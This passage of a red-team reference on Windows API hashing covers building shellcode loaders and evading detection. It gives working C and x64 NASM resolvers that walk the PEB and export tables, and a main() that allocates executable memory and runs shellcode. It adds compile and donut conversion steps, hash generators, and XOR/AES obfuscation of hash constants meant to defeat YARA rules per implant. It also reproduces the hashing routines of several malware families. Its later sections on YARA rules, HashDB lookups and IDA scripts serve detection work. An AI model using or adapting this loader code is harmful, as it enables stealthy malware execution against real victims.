entry = entry->Flink;
}
return NULL;
}
// ── Parse EAT and resolve function by hash ────────────────────
static FARPROC eat_get_function(HMODULE mod, DWORD func_hash)
{
BYTE *base = (BYTE *)mod;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
DWORD eat_rva = nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (!eat_rva) return NULL;
PIMAGE_EXPORT_DIRECTORY eat = (PIMAGE_EXPORT_DIRECTORY)(base + eat_rva);
DWORD *names = (DWORD *)(base + eat->AddressOfNames);
WORD *ordinals = (WORD *)(base + eat->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)(base + eat->AddressOfFunctions);
for (DWORD i = 0; i < eat->NumberOfNames; i++)
{
char *name = (char *)(base + names[i]);
if (hash_string(name) == func_hash)
{
DWORD func_rva = funcs[ordinals[i]];
return (FARPROC)(base + func_rva);
}
}
return NULL;
}
// ── Public resolver: find function across all loaded modules ──
FARPROC api_resolve(DWORD module_hash, DWORD func_hash)
{
HMODULE mod = peb_get_module(module_hash);
if (!mod) return NULL;
return eat_get_function(mod, func_hash);
}
// ─────────────────────────────────────────────────────────────
// Pre-computed hashes (use ror13_hasher.py to generate)
// ─────────────────────────────────────────────────────────────
#define HASH_MOD_KERNEL32 0x6DDB9555
#define HASH_MOD_NTDLL 0x1EDAB0ED
#define HASH_VIRTUALALLOC 0x91AFCA54
#define HASH_VIRTUALPROTECT 0x7946C61B
#define HASH_CREATETHREAD 0xC7D05CA5
#define HASH_WRITEPROCESSMEMORY 0xD83D6AA1
#define HASH_LOADLIBRARYA 0x0726774C
// ─────────────────────────────────────────────────────────────
// Usage
// ─────────────────────────────────────────────────────────────
typedef LPVOID (WINAPI *pVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HANDLE (WINAPI *pCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T,
LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
int main(void)
{
// Resolve all needed APIs via hash — no strings, no IAT entries
pVirtualAlloc VirtualAlloc_ = (pVirtualAlloc)
api_resolve(HASH_MOD_KERNEL32, HASH_VIRTUALALLOC);
pVirtualProtect VirtualProtect_ = (pVirtualProtect)
api_resolve(HASH_MOD_KERNEL32, HASH_VIRTUALPROTECT);
pCreateThread CreateThread_ = (pCreateThread)
api_resolve(HASH_MOD_KERNEL32, HASH_CREATETHREAD);
// Use them normally
// (Your shellcode / payload execution logic here)
LPVOID mem = VirtualAlloc_(NULL, 4096, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// ... inject shellcode ...
HANDLE thread = CreateThread_(NULL, 0, (LPTHREAD_START_ROUTINE)mem, NULL, 0, NULL);
WaitForSingleObject(thread, INFINITE);
return 0;
}
10.2 Caching Resolved Addresses
// Cache resolved addresses to avoid re-walking the EAT on every call
// This is important for shellcode that calls the same API repeatedly
typedef struct _API_CACHE {
DWORD hash;
FARPROC address;
} API_CACHE;
#define MAX_CACHE 32
static API_CACHE api_cache[MAX_CACHE] = {0};
static int cache_count = 0;
FARPROC api_resolve_cached(DWORD module_hash, DWORD func_hash)
{
// Check cache first
for (int i = 0; i < cache_count; i++) {
if (api_cache[i].hash == func_hash)
return api_cache[i].address;
}
// Not in cache — resolve it
FARPROC addr = api_resolve(module_hash, func_hash);
// Store in cache
if (addr && cache_count < MAX_CACHE) {
api_cache[cache_count].hash = func_hash;
api_cache[cache_count].address = addr;
cache_count++;
}
return addr;
}
10.3 Compile Commands
# Windows — MSVC (no CRT, position-independent friendly)
cl.exe api_resolver.c /Fe:resolver.exe /GS- /Gy /O1 /nodefaultlib /entry:main
# Windows — MinGW cross-compile from Linux
x86_64-w64-mingw32-gcc api_resolver.c -o resolver.exe \
-masm=intel -O2 -nostdlib -e main
# Generate shellcode from loader (use sRDI or donut):
donut -i resolver.exe -a 2 -o resolver_shellcode.bin
# Inspect IAT of compiled binary:
dumpbin /imports resolver.exe # MSVC
objdump -x resolver.exe | grep -A20 IMPORT # MinGW
11. API Hashing in Shellcode (Position-Independent)
What it means: Shellcode has no fixed base address and no loader to fill an IAT. It must resolve every API it needs at runtime, from scratch, using PEB walk + EAT parsing + API hashing. The entire mechanism must be position-independent code (PIC) — no absolute addresses, no global variables stored in fixed memory.
11.1 Shellcode API Resolution Pattern
Shellcode execution flow:
────────────────────────
1. call next_instruction ← trick to get RIP value
pop rsi ← RSI = current address
2. Get PEB:
mov rax, gs:[0x60]
3. Walk LDR module list → find kernel32 base
4. Parse kernel32 EAT:
→ walk AddressOfNames
→ hash each name
→ match to pre-computed hash constant
5. Resolve needed APIs:
→ VirtualAlloc (to allocate RWX memory)
→ CreateThread (to execute payload)
→ LoadLibraryA (to load additional DLLs)
6. Call APIs → execute payload
11.2 Complete x64 Shellcode Stub (NASM)
; x64 NASM — Self-contained API resolver shellcode stub
; Position-independent, no imports, no strings
; Resolves CreateThread from kernel32 by ROR13 hash
BITS 64
; Pre-computed ROR13 hashes:
%define HASH_CREATETHREAD 0xC7D05CA5
%define HASH_VIRTUALALLOC 0x91AFCA54
section .text
global _start
_start:
; ── Get kernel32 base via PEB ──────────────────────────────
xor rbp, rbp
mov rax, gs:[rbp + 0x60] ; PEB
mov rax, [rax + 0x18] ; PEB->Ldr
mov rsi, [rax + 0x20] ; InMemoryOrderModuleList.Flink
; Skip: [0]=this process, [1]=ntdll, [2]=kernel32
lodsq ; skip entry 0
xchg rax, rsi
lodsq ; skip entry 1
xchg rax, rsi
lodsq ; this is kernel32's entry
mov rbx, [rax + 0x20] ; RBX = kernel32 base addr (DllBase at offset 0x10 from start of entry, 0x20 from InMemoryOrderLinks)
; ── Resolve VirtualAlloc ───────────────────────────────────
mov r8d, HASH_VIRTUALALLOC
call resolve_api ; RAX = VirtualAlloc address
mov [rsp - 0x10], rax ; save it
; ... call VirtualAlloc, write shellcode, etc.
jmp $ ; placeholder
; ── API resolver ───────────────────────────────────────────────
; Input: RBX = module base, R8D = target hash
; Output: RAX = function address (or 0 if not found)
; Clobbers: RCX, RDX, RSI, RDI
resolve_api:
push rbp
mov rbp, rsp
; Parse DOS header
mov eax, [rbx + 0x3C] ; e_lfanew
mov rdx, rbx
add rdx, rax ; NT headers
mov eax, [rdx + 0x88] ; DataDirectory[0].VirtualAddress (export dir)
lea rsi, [rbx + rax] ; RSI = IMAGE_EXPORT_DIRECTORY
mov ecx, [rsi + 0x18] ; NumberOfNames
mov eax, [rsi + 0x20] ; AddressOfNames RVA
lea rdi, [rbx + rax] ; RDI = names array
.loop:
test ecx, ecx
jz .notfound
dec ecx
mov eax, [rdi + rcx*4] ; names[i] RVA
lea rdx, [rbx + rax] ; function name string
; Hash the name with ROR13
push rcx
push rdi
call ror13_hash ; Input: RDX=string, Output: EAX=hash
pop rdi
pop rcx
cmp eax, r8d ; compare to target hash
jne .loop ; no match → try next
; Match found — get function address
mov eax, [rsi + 0x24] ; AddressOfNameOrdinals RVA
lea rdi, [rbx + rax]
movzx eax, word [rdi + rcx*2] ; ordinal
mov ecx, [rsi + 0x1C] ; AddressOfFunctions RVA
lea rdi, [rbx + rcx]
mov eax, [rdi + rax*4] ; function RVA
lea rax, [rbx + rax] ; absolute address
jmp .done
.notfound:
xor rax, rax
.done:
pop rbp
ret
; ── ROR13 hash ─────────────────────────────────────────────────
; Input: RDX = pointer to null-terminated ASCII string
; Output: EAX = ROR13 hash
ror13_hash:
xor eax, eax ; hash = 0
.hloop:
movzx ecx, byte [rdx] ; current char
test ecx, ecx
jz .hdone
ror eax, 13 ; ROR(hash, 13)
add eax, ecx ; hash += char
inc rdx
jmp .hloop
.hdone:
ret
11.3 Shellcode Testing
# Generate test shellcode and test the resolver
# Using BlobRunner (OALabs tool):
# Compile shellcode (NASM → raw bin):
nasm -f bin api_hash_stub.asm -o api_hash_stub.bin
# Run in BlobRunner (debug shellcode without loading into a process):
BlobRunner.exe api_hash_stub.bin
# Attach WinDbg:
windbg -p <PID from BlobRunner>
bp <offset of hash comparison>
g → inspect EAX after hash function
# Alternative: run with x64dbg tracing
x64dbg → File → Open → BlobRunner.exe
Add argument: api_hash_stub.bin
Step through API resolution loop
12. Hash Pre-computation Tools
What it means: Before embedding hashes in your loader, you need to pre-compute the hash value for each API name. Various Python scripts and dedicated tools exist for this.
12.1 Python — Universal Hash Generator
#!/usr/bin/env python3
"""
api_hash_gen.py
Universal API hash pre-computation tool.
Supports: ROR13, DJB2, FNV-1a, CRC32, custom
Usage: python3 api_hash_gen.py --algo ror13 --apis VirtualAlloc CreateThread
python3 api_hash_gen.py --algo all --file api_list.txt
"""
import argparse
import struct
import binascii
# ── Hash Algorithms ───────────────────────────────────────────
def ror32(v, n): return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF
def ror13(s):
h = 0
for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
return h
def djb2(s):
h = 5381
for c in s: h = ((h << 5) + h + ord(c)) & 0xFFFFFFFF
return h
def fnv1a(s):
h = 0x811C9DC5
for c in s: h = ((h ^ ord(c)) * 0x01000193) & 0xFFFFFFFF
return h
def crc32_hash(s):
return binascii.crc32(s.encode()) & 0xFFFFFFFF
ALGOS = {
'ror13': ror13,
'djb2': djb2,
'fnv1a': fnv1a,
'crc32': crc32_hash,
}
# ── Main ──────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description='API Hash Generator')
parser.add_argument('--algo', choices=list(ALGOS.keys()) + ['all'], default='all')
parser.add_argument('--apis', nargs='+', default=[])
parser.add_argument('--file', help='file with one API name per line')
parser.add_argument('--output', choices=['c', 'python', 'table'], default='c')
args = parser.parse_args()
# Load API list
apis = args.apis[:]
if args.file:
with open(args.file) as f:
apis += [l.strip() for l in f if l.strip()]
if not apis:
# Default set
apis = [
"LoadLibraryA", "GetProcAddress",
"VirtualAlloc", "VirtualProtect", "VirtualFree",
"CreateThread", "CreateRemoteThread",
"WriteProcessMemory", "ReadProcessMemory",
"OpenProcess", "CloseHandle",
"NtAllocateVirtualMemory", "NtWriteVirtualMemory",
"NtCreateThreadEx",
]
algos = ALGOS if args.algo == 'all' else {args.algo: ALGOS[args.algo]}
# Output
if args.output == 'c':
for algo_name, algo_fn in algos.items():
print(f"// {algo_name.upper()} Hashes")
for api in apis:
h = algo_fn(api)
print(f"#define HASH_{algo_name.upper()}_{api.upper():<35} 0x{h:08X}UL")
print()
elif args.output == 'table':
header = ['API'] + list(algos.keys())
print(' | '.join(f'{h:<40}' for h in header))
print('-' * (44 * len(header)))
for api in apis:
row = [api] + [f'0x{fn(api):08X}' for fn in algos.values()]
print(' | '.join(f'{r:<40}' for r in row))
if __name__ == '__main__':
main()
# Usage examples:
python3 api_hash_gen.py --algo ror13 --output c
python3 api_hash_gen.py --algo all --apis VirtualAlloc CreateThread --output table
python3 api_hash_gen.py --algo djb2 --file my_apis.txt --output c > hashes.h
12.2 PowerShell Hash Calculator (Red Team Quick Use)
# PowerShell — Quick ROR13 hash calculator
# Usage: .\ror13.ps1 LoadLibraryA
param([string[]]$APIs = @("LoadLibraryA","VirtualAlloc","CreateThread"))
function ROR32($val, $bits) {
return (($val -shr $bits) -bor ($val -shl (32 - $bits))) -band 0xFFFFFFFF
}
function Get-ROR13Hash([string]$api) {
$hash = [uint32]0
foreach ($c in $api.ToCharArray()) {
$hash = ROR32 $hash 13
$hash = ($hash + [uint32][int]$c) -band 0xFFFFFFFF
}
return "0x{0:X8}" -f $hash
}
function Get-DJB2Hash([string]$api) {
$hash = [uint32]5381
foreach ($c in $api.ToCharArray()) {
$hash = (($hash -shl 5) + $hash + [uint32][int]$c) -band 0xFFFFFFFF
}
return "0x{0:X8}" -f $hash
}
Write-Host "`nAPI Hash Table:" -ForegroundColor Cyan
Write-Host ("{0,-35} {1,-12} {2,-12}" -f "API", "ROR13", "DJB2")
Write-Host ("-" * 65)
foreach ($api in $APIs) {
$ror13 = Get-ROR13Hash $api
$djb2 = Get-DJB2Hash $api
Write-Host ("{0,-35} {1,-12} {2,-12}" -f $api, $ror13, $djb2)
}
13. Layered Obfuscation — XOR + Hash
What it means: Using API hashing alone makes function names disappear from strings but leaves the hash constants visible. AV/EDR vendors collect known hash values and write YARA rules that match 0x726774C or 0xEC0E4E8E directly in shellcode bytes. The solution: XOR-obfuscate the hash constants too, so neither strings nor hash values appear in the binary.
13.1 XOR-Encrypted Hash Constants
// Instead of storing plain hash constants:
// #define HASH_VIRTUALALLOC 0x91AFCA54 ← scannable!
//
// Store XOR-obfuscated versions:
// Encrypted = PlainHash XOR XorKey
#define HASH_XOR_KEY 0xDEADBEEF // Your secret XOR key
// Pre-compute: python3 -c "print(hex(0x91AFCA54 ^ 0xDEADBEEF))"
#define HASH_ENC_VIRTUALALLOC 0x4F0264BB // 0x91AFCA54 ^ 0xDEADBEEF
#define HASH_ENC_CREATETHREAD 0x196DB15A // 0xC7D05CA5 ^ 0xDEADBEEF
#define HASH_ENC_LOADLIBRARYA 0xD8997FA3 // 0x0726774C ^ 0xDEADBEEF
// Decrypt at runtime (one XOR instruction):
DWORD get_hash_virtualalloc(void) {
return HASH_ENC_VIRTUALALLOC ^ HASH_XOR_KEY;
}
// Usage in resolver:
FARPROC va = api_resolve(kernel32_base, get_hash_virtualalloc());
13.2 Hash Constants in Encrypted Array
// Store all hashes in an AES-encrypted table
// Decrypt at runtime before resolution
// Encrypted hash table (run encryption once at build time)
static BYTE encrypted_hashes[] = {
// AES-256 CBC encrypted blob of hash values
0x3F, 0x7A, 0xBC, 0x11, 0x44, 0xDE, 0x99, 0x01,
// ... (generated by hash_table_encrypt.py)
};
static BYTE hash_key[32] = { /* AES key — store securely */ };
static BYTE hash_iv[16] = { /* AES IV */ };
// At runtime:
void init_api_hashes(void) {
// Decrypt the hash table
// Use BCrypt or your AES implementation
// bcrypt_decrypt(encrypted_hashes, decrypted_hashes, hash_key, hash_iv);
// Now extract individual hashes from decrypted buffer
DWORD *hashes = (DWORD *)decrypted_hashes;
HASH_VIRTUALALLOC = hashes[0];
HASH_CREATETHREAD = hashes[1];
HASH_WRITEPROCESSMEMORY = hashes[2];
// ...
// Zero out decrypted table immediately after extraction
SecureZeroMemory(decrypted_hashes, sizeof(decrypted_hashes));
}
13.3 Python — Hash Obfuscation Tool
#!/usr/bin/env python3
# hash_obfuscate.py
# XOR-obfuscate your hash constants so they don't appear as
# known API hash values in binary scanners
import secrets
def ror32(v, n): return ((v >> n) | (v << (32-n))) & 0xFFFFFFFF
def ror13(s):
h = 0
for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
return h
# Generate a random XOR key for this build
XOR_KEY = secrets.randbits(32)
print(f"#define HASH_XOR_KEY 0x{XOR_KEY:08X}UL // KEEP SECRET — one per build\n")
apis = {
"VirtualAlloc": ror13("VirtualAlloc"),
"VirtualProtect": ror13("VirtualProtect"),
"CreateThread": ror13("CreateThread"),
"WriteProcessMemory": ror13("WriteProcessMemory"),
"LoadLibraryA": ror13("LoadLibraryA"),
"GetProcAddress": ror13("GetProcAddress"),
"NtAllocateVirtualMemory": ror13("NtAllocateVirtualMemory"),
"NtCreateThreadEx": ror13("NtCreateThreadEx"),
}
print("// XOR-obfuscated hash constants (plain values never appear in binary):")
print("// To recover: HASH_ENC_X ^ HASH_XOR_KEY")
print()
for api, plain_hash in apis.items():
enc_hash = plain_hash ^ XOR_KEY
print(f"// {api}: plain=0x{plain_hash:08X}, xor_key=0x{XOR_KEY:08X}")
print(f"#define HASH_ENC_{api.upper():<35} 0x{enc_hash:08X}UL")
print()
print()
print("// Runtime decryption macro:")
print("#define DECRYPT_HASH(enc) ((enc) ^ HASH_XOR_KEY)")
print()
print("// Usage: api_resolve(module_hash, DECRYPT_HASH(HASH_ENC_VIRTUALALLOC))")
[OPSEC] XOR key regeneration per build. Every compiled implant should use a different XOR key. This means the obfuscated hash constants differ between implants even for the same target function — defeating hash-constant YARA rules entirely.
14. Real-World Malware Implementations
What it means: Understanding how actual malware families implement API hashing is critical for both red team accuracy and blue team detection. This section covers the most studied implementations.
14.1 Metasploit / Cobalt Strike — ROR13
How Cobalt Strike beacon resolves APIs:
1. Shellcode begins with CLD instruction (0xFC) to reset direction flag
2. Jump over hash resolution code → execution starts at hash_resolver
hash_resolver:
push rbp ← save stack
; PEB walk to find module (kernel32 or requested DLL)
; Module name hashed with ROR13 + module hash accumulated
; Function name hashed with ROR13
3. API hash constants pushed as immediate values:
push 0x726774C ← hash of "LoadLibraryA"
call hash_resolver ← resolve and call
4. Result: RAX = LoadLibraryA address
Known Cobalt Strike ROR13 signature hashes:
────────────────────────────────────────────
LoadLibraryA → 0x0726774C ← most well-known
GetProcAddress → 0xEC0E4E8E (alternate)
VirtualAlloc → 0x91AFCA54
NtFlushInstructionCache → 0x534C0AB8
WinExec → 0x876F8B31
InternetOpenA → 0xA779563A ← HTTPS beacon
InternetConnectA → 0xC69F8957
WSAStartup → 0x006B8029 ← TCP beacon
# Cobalt Strike ROR13 combined hash (module + function):
# Total hash = ROR13(module_name_uppercase + null) + ROR13(function_name)
# This combined hash identifies both DLL and function in one value
def cobalt_strike_hash(module: str, func: str) -> int:
def ror32(v, n): return ((v >> n) | (v << (32-n))) & 0xFFFFFFFF
def ror13(s):
h = 0
for c in s: h = ror32(h, 13); h = (h + ord(c)) & 0xFFFFFFFF
return h
# Module: uppercase, include null terminator
mod_upper = module.upper()
mod_hash = ror13(mod_upper + '\x00')
# Function: as-is
func_hash = ror13(func)
# Combined (used in some CS variants):
return (mod_hash + func_hash) & 0xFFFFFFFF
# Example:
print(hex(cobalt_strike_hash("KERNEL32.DLL", "LoadLibraryA")))
14.2 TrickBot — FNV-1a for NT APIs
// TrickBot uses FNV-1a to hash NT API names (ntdll.dll functions)
// Target APIs: NtCreateThreadEx, NtWriteVirtualMemory, NtQueryInformationProcess
// TrickBot's FNV-1a implementation (exact):
DWORD trickbot_fnv1a(const char *str)
{
DWORD hash = 0x811C9DC5; // FNV offset basis
while (*str)
{
hash ^= (DWORD)(BYTE)*str++;
hash *= 0x01000193; // FNV prime
}
return hash;
}
// TrickBot target hashes (FNV-1a):
// NtCreateThreadEx → 0x40A85E1F
// NtWriteVirtualMemory → 0xF6C8F30B
// NtAllocateVirtualMemory → 0xB7A71C21
// NtQueryInformationProcess → 0xC229B5A2
// NtOpenProcess → 0x4F65A55E
14.3 GuLoader — DJB2
// GuLoader's DJB2 implementation — maps entire used API surface with DJB2
DWORD guloader_djb2(const char *str)
{
DWORD hash = 5381;
while (*str)
{
hash = ((hash << 5) + hash) + (DWORD)(BYTE)*str++;
}
return hash;
}
// CrowdStrike exposed GuLoader's complete hash table:
// CreateMutexA → DJB2 hash
// GetLastError → DJB2 hash
// WaitForSingleObject → DJB2 hash
// URLDownloadToFileA → DJB2 hash (downloads next stage payload)
// ShellExecuteA → DJB2 hash (executes downloaded payload)
// VirtualAlloc → DJB2 hash
// NtAllocateVirtualMemory → DJB2 hash (direct syscall path)
14.4 QakBot — Custom XOR'd FNV-1a
// QakBot adds an XOR obfuscation layer on top of FNV-1a
// The XOR key changes per campaign/build
#define QAKBOT_XOR_KEY 0x36F9A0B1 // Example — changes per sample
DWORD qakbot_hash(const char *str)
{
DWORD hash = 0x811C9DC5;
while (*str)
{
hash ^= (DWORD)(BYTE)*str++;
hash *= 0x01000193;
}
return hash ^ QAKBOT_XOR_KEY; // final XOR shifts all constants
}
15. Tools Reference
15.1 Hash Pre-computation
| Tool | Purpose | URL |
|---|---|---|
| ror13_hasher.py | Pre-compute ROR13 hashes | Write yourself (§5.3) |
| api_hash_gen.py | Multi-algo hash generator | Write yourself (§12.1) |
| LloydLabs/Windows-API-Hashing | C++ API hashing library | github.com/LloydLabs/Windows-API-Hashing |
| Sh0ckFR/API-Hashing | C++ IAT avoidance example | github.com/Sh0ckFR/API-Hashing |
15.2 Analysis & Detection (Blue Team)
| Tool | Purpose | URL |
|---|---|---|
| HashDB (OALabs) | Hash lookup service — find API by hash | hashdb.openanalysis.net |
| HashDB IDA Plugin | Right-click hash lookup in IDA Pro | github.com/OALabs/hashdb-ida |
| HashDB Ghidra Plugin | Hash lookup in Ghidra | github.com/OALabs/hashdb-ghidra |
| HashDB Binary Ninja | Hash lookup in Binary Ninja | github.com/OALabs/hashdb-bn |
| capa (FLARE) | Capability detection — detects PEB walk + hash patterns | github.com/mandiant/capa |
| BlobRunner | Debug raw shellcode (test your resolver) | github.com/OALabs/BlobRunner |
| Ghidra | RE platform with PEB walk script support | github.com/NationalSecurityAgency/ghidra |
| IDA Pro | Primary RE platform for API hash analysis | hex-rays.com |
| x64dbg | Dynamic analysis / step through hash resolution | x64dbg.com |
| PE-bear | PE inspection — examine IAT before/after hashing | github.com/hasherezade/pe-bear |
15.3 HashDB API (Programmatic Lookup)
#!/usr/bin/env python3
# hashdb_lookup.py — Query OALabs HashDB to identify unknown hash values
import requests
HASHDB_URL = "https://hashdb.openanalysis.net"
def lookup_hash(hash_value: int, algorithm: str = "ror13") -> dict:
"""Look up a hash value against the HashDB API."""
url = f"{HASHDB_URL}/hash/{algorithm}/{hash_value}"
response = requests.get(url, timeout=10)
if response.status_code == 200:
return response.json()
return {"error": f"HTTP {response.status_code}"}
def list_algorithms() -> list:
"""Get list of supported hash algorithms from HashDB."""
response = requests.get(f"{HASHDB_URL}/hash", timeout=10)
return response.json() if response.status_code == 200 else []
# Example usage:
algorithms = list_algorithms()
print(f"[*] Supported algorithms: {algorithms}")
# Look up the famous Cobalt Strike LoadLibraryA ROR13 hash:
result = lookup_hash(0x0726774C, "ror13")
print(f"\n[*] 0x0726774C (ROR13): {result}")
# Bulk lookup — identify all hashes found in shellcode
suspicious_hashes = [
0x0726774C, # seen in shellcode
0x91AFCA54, # seen in shellcode
0xC7D05CA5, # seen in shellcode
]
print("\n[*] Bulk lookup results:")
for h in suspicious_hashes:
r = lookup_hash(h, "ror13")
api_name = r.get("hits", [{}])[0].get("api", "unknown") if "hits" in r else "not found"
print(f" 0x{h:08X} → {api_name}")
# HashDB CLI examples (using curl):
# Look up a hash:
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C"
# List all supported algorithms:
curl "https://hashdb.openanalysis.net/hash"
# Look up with XOR key (common in malware):
curl "https://hashdb.openanalysis.net/hash/ror13/0x0726774C?xor=0xDEADBEEF"
15.4 IDA Pro — API Hash Analysis Workflow
Analyzing API-hashed malware in IDA Pro:
1. Open the binary in IDA Pro
2. Install HashDB IDA plugin:
pip install hashdb-ida
(or: Edit → Plugins → Manage plugins)
3. Configure HashDB:
Edit → Plugins → HashDB → Settings
├─ API URL: https://hashdb.openanalysis.net
├─ Algorithm: ror13 (or auto-detect)
└─ XOR Key: 0x00000000 (or known key)
4. Find hash constants in disassembly:
├─ Look for PUSH <hex_constant> before CALL
├─ Look for MOV reg, <hex_constant>; CALL reg
└─ Grep for suspicious hex patterns
5. Right-click a hash constant → HashDB Lookup
├─ Plugin queries hashdb.openanalysis.net
├─ Returns: API name if in database
└─ Creates an IDA enum entry with the API name
6. Apply enum to all instances:
Edit → Operands → Use enum
├─ All instances of that hash value renamed
└─ Decompiler shows human-readable API name
7. Result: API-hashed binary reads like normal code
16. Detection & Analysis
16.1 Static Detection Signals
Signals that indicate API hashing in a binary:
1. Minimal or empty IAT:
├─ Only 1-2 imports (e.g., just LoadLibraryA or nothing)
└─ Binary would be non-functional with so few imports
Tool: PE-bear, CFF Explorer, dumpbin /imports
2. Known hash constants in binary:
├─ 0x0726774C present → LoadLibraryA (ROR13 / CS / MSF)
├─ 0xEC0E4E8E present → GetProcAddress (ROR13)
├─ 0x91AFCA54 present → VirtualAlloc (ROR13)
└─ Scan for these with YARA (see §16.3)
Tool: HashDB, YARA, strings + grep
3. PEB-walk code pattern:
├─ GS:[0x60] access (x64) or FS:[0x30] (x86) in disassembly
├─ Followed by offset 0x18 (PEB→Ldr) and 0x20 (InMemoryOrderModuleList)
└─ Classic shellcode signature
Tool: IDA Pro, Ghidra, capa
4. ROR/ROL instruction in tight loop:
├─ ROR EAX, 13 in a character-processing loop
└─ Dead giveaway for ROR13 implementation
Tool: IDA, x64dbg
5. Known algorithm constants:
├─ 0x811C9DC5 (FNV-1a offset basis)
├─ 0x01000193 (FNV-1a prime)
├─ 5381 (DJB2 seed)
└─ 0xEDB88320 (CRC32 polynomial)
Tool: Binary pattern search, YARA
16.2 Dynamic Detection Signals
Runtime signals that indicate API hashing:
1. Export table walking:
├─ Process reads its own loaded DLLs' export tables
├─ Repeated accesses to AddressOfNames array at runtime
└─ Detectable by memory access pattern monitoring
2. PEB structure reads in unusual code:
├─ EDR sees GS:[0x60] access from non-standard code location
└─ In shellcode context → suspicious
3. No standard API call stack:
├─ VirtualAlloc called with no corresponding IAT entry
├─ Call originates from dynamically resolved pointer
└─ ETW / API tracing shows call without matching import
4. API calls from unexpected locations:
├─ CreateThread called from heap or RWX memory
├─ Call stack shows unusual origin
└─ EDR call-stack spoofing detection catches this
16.3 YARA Rules — Detect Common API Hash Patterns
// YARA rules for detecting API hashing in shellcode
rule API_Hashing_ROR13_Constants {
meta:
author = "Red Team Reference"
description = "Detects ROR13 hash constants for common APIs"
strings:
// LoadLibraryA ROR13 hash (Metasploit / Cobalt Strike)
$h_loadlibrary = { 4C 77 26 07 } // 0x0726774C LE
// VirtualAlloc ROR13 hash
$h_virtualalloc = { 54 CA AF 91 } // 0x91AFCA54 LE
// NtFlushInstructionCache ROR13 hash (in CS shellcode)
$h_ntflush = { B8 0A 4C 53 } // 0x534C0AB8 LE
// InternetOpenA ROR13 (HTTPS beacons)
$h_internetopen = { 3A 56 79 A7 } // 0xA779563A LE
condition:
2 of ($h_*)
}
rule API_Hashing_FNV1a_Constants {
meta:
description = "Detects FNV-1a algorithm constants used for API hashing"
strings:
// FNV-1a offset basis
$fnv_offset = { C5 9D 1C 81 } // 0x811C9DC5 LE
// FNV-1a prime
$fnv_prime = { 93 01 00 01 } // 0x01000193 LE
condition:
$fnv_offset and $fnv_prime
}
rule API_Hashing_DJB2_Seed {
meta:
description = "Detects DJB2 seed constant used in GuLoader and others"
strings:
// DJB2 seed 5381 = 0x1505
$djb2_seed = { 05 15 00 00 } // 0x00001505 LE
condition:
$djb2_seed
}
rule API_Hashing_PEB_Walk_x64 {
meta:
description = "Detects x64 PEB walk pattern (GS:[0x60] read)"
strings:
// MOV RAX, GS:[0x60] — read PEB
$peb_read_x64 = { 65 48 8B 04 25 60 00 00 00 }
// MOV RAX, [RAX+0x18] — PEB→Ldr
$ldr_access = { 48 8B 40 18 }
// MOV RSI, [RAX+0x20] — Ldr→InMemoryOrderModuleList
$ldr_list = { 48 8B 70 20 }
condition:
$peb_read_x64 and ($ldr_access or $ldr_list)
}
rule API_Hashing_PEB_Walk_x86 {
meta:
description = "Detects x86 PEB walk pattern (FS:[0x30] read)"
strings:
// MOV EAX, FS:[0x30] — read PEB (x86)
$peb_read_x86 = { 64 A1 30 00 00 00 }
condition:
$peb_read_x86
}
rule API_Hashing_ROR13_Loop {
meta:
description = "Detects ROR13 hash loop in shellcode (rotate right 13)"
strings:
// ROR EAX, 13 instruction
$ror13_eax = { C1 C8 0D }
// ROR EBX, 13 instruction
$ror13_ebx = { C1 CB 0D }
condition:
any of them
}
16.4 x64dbg / IDA Scripting — Auto-Identify Hashes
# IDA Python — scan binary for known hash constants and annotate
# Run from IDA Pro: File → Script File → this_script.py
import idc
import idaapi
# Known hash values: (hash_value, algorithm, api_name)
KNOWN_HASHES = [
(0x0726774C, "ROR13", "LoadLibraryA"),
(0xEC0E4E8E, "ROR13", "GetProcAddress"),
(0x91AFCA54, "ROR13", "VirtualAlloc"),
(0x7946C61B, "ROR13", "VirtualProtect"),
(0xC7D05CA5, "ROR13", "CreateThread"),
(0x534C0AB8, "ROR13", "NtFlushInstructionCache"),
(0xA779563A, "ROR13", "InternetOpenA"),
(0x876F8B31, "ROR13", "WinExec"),
(0x56A2B5F0, "ROR13", "ExitProcess"),
]
def scan_and_annotate():
print("[*] Scanning for known API hash constants...")
found = 0
for hash_val, algo, api_name in KNOWN_HASHES:
# Search for this 4-byte value in the binary
# Little-endian encoding
pattern = "{:08X}".format(hash_val)
le_bytes = bytes.fromhex(pattern[6:8] + pattern[4:6] + pattern[2:4] + pattern[0:2])
addr = idc.get_inf_attr(idc.INF_MIN_EA)
while True:
addr = idaapi.find_binary(addr + 1, idc.get_inf_attr(idc.INF_MAX_EA),
" ".join(f"{b:02X}" for b in le_bytes), 16, 1)
if addr == idc.BADADDR:
break
# Add comment at this address
comment = f"{algo} hash → {api_name} (0x{hash_val:08X})"
idc.set_cmt(addr, comment, 0)
print(f" [+] 0x{addr:X}: {comment}")
found += 1
print(f"[*] Found and annotated {found} hash constant(s)")
scan_and_annotate()
17. Comparison Matrix
| Algorithm | Speed | Collision Rate | Code Size | Used By | Known Hashes Public | Anti-Analysis |
|---|---|---|---|---|---|---|
| ROR13 | Very Fast | Low | ~15 lines | Metasploit, Cobalt Strike, Donut | YES (HashDB, full list) | Low |
| DJB2 | Very Fast | Low | ~10 lines | GuLoader, SloppyRAT, custom | PARTIAL (HashDB) | Low |
| FNV-1a | Very Fast | Very Low | ~10 lines | TrickBot, QakBot, Cobalt Strike NT | PARTIAL (HashDB) | Medium |
| CRC32 (table) | Fast | Very Low | ~50 lines | Various, hardware-accelerated | PARTIAL | Medium |
| CRC32 (HW) | Fastest | Very Low | ~5 lines | Modern malware (SSE4.2) | PARTIAL | Medium |
